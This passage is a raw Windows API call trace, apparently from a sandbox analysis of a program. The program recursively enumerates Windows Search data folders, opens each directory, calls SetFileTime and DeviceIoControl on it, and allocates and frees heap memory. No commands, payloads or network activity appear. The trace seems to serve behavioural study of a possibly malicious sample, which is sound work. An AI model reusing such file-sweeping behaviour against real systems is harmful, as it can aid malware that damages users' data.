Size=0x80) returned 0x12fbc08 [0091.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a778 [0091.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7518 [0091.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a880 [0091.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.702] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.gthr", cAlternateFileName="")) returned 1 [0091.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f7538 [0091.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a988 [0091.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.704] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.gthr", cAlternateFileName="")) returned 0 [0091.704] GetLastError () returned 0x12 [0091.704] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e90c0 [0091.704] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0091.704] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.705] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.Crwl", cAlternateFileName="")) returned 1 [0091.705] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.gthr", cAlternateFileName="")) returned 1 [0091.705] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.gthr", cAlternateFileName="")) returned 0 [0091.705] GetLastError () returned 0x12 [0091.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a670) returned 1 [0091.705] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0091.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a778) returned 1 [0091.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0091.705] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="")) returned 0 [0091.706] GetLastError () returned 0x12 [0091.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a358) returned 1 [0091.706] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a460) returned 1 [0091.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a250) returned 1 [0091.706] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29612a20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSS.chk", cAlternateFileName="")) returned 1 [0091.706] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295a0600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295a0600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x422b7290, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSS.log", cAlternateFileName="")) returned 1 [0091.706] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295c6760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295c6760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x295ec8c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSres00001.jrs", cAlternateFileName="")) returned 1 [0091.706] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x295ec8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x295ec8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x295ec8c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSres00002.jrs", cAlternateFileName="")) returned 1 [0091.706] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects", cAlternateFileName="")) returned 1 [0091.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a250 [0091.707] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.707] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.707] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0091.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.708] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0091.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.708] NtClose (Handle=0x170) returned 0x0 [0091.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a250) returned 1 [0091.708] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a250 [0091.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a460 [0091.710] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9140 [0091.710] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.710] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="")) returned 1 [0091.710] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="")) returned 0 [0091.710] GetLastError () returned 0x12 [0091.710] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e90c0 [0091.710] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.710] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.710] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="")) returned 1 [0091.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a358 [0091.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.712] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.712] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0091.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.712] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0091.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.713] NtClose (Handle=0x170) returned 0x0 [0091.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0091.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.713] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a568 [0091.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbaf8) returned 1 [0091.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a778 [0091.714] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0091.714] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.714] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexer", cAlternateFileName="")) returned 1 [0091.714] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27edd3a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27edd3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PropMap", cAlternateFileName="")) returned 1 [0091.714] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecStore", cAlternateFileName="")) returned 1 [0091.715] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecStore", cAlternateFileName="")) returned 0 [0091.715] GetLastError () returned 0x12 [0091.715] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9200 [0091.715] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.715] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.715] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexer", cAlternateFileName="")) returned 1 [0091.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135a670 [0091.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aa90 [0091.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer"), fInfoLevelId=0x0, lpFileInformation=0x119e0b8 | out: lpFileInformation=0x119e0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.716] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\projects\\systemindex\\indexer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.717] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e0fc, lpLastWriteTime=0x119e0fc) returned 0 [0091.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.717] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e154, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e154, lpOverlapped=0x0) returned 0 [0091.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.717] NtClose (Handle=0x170) returned 0x0 [0091.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135aa90) returned 1 [0091.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbc08 [0091.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbaf8 [0091.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135aa90 [0091.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbc08) returned 1 [0091.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x135ab98 [0091.719] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9140 [0091.719] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.720] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29a3d0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29a3d0a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiFiles", cAlternateFileName="")) returned 1 [0091.720] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, 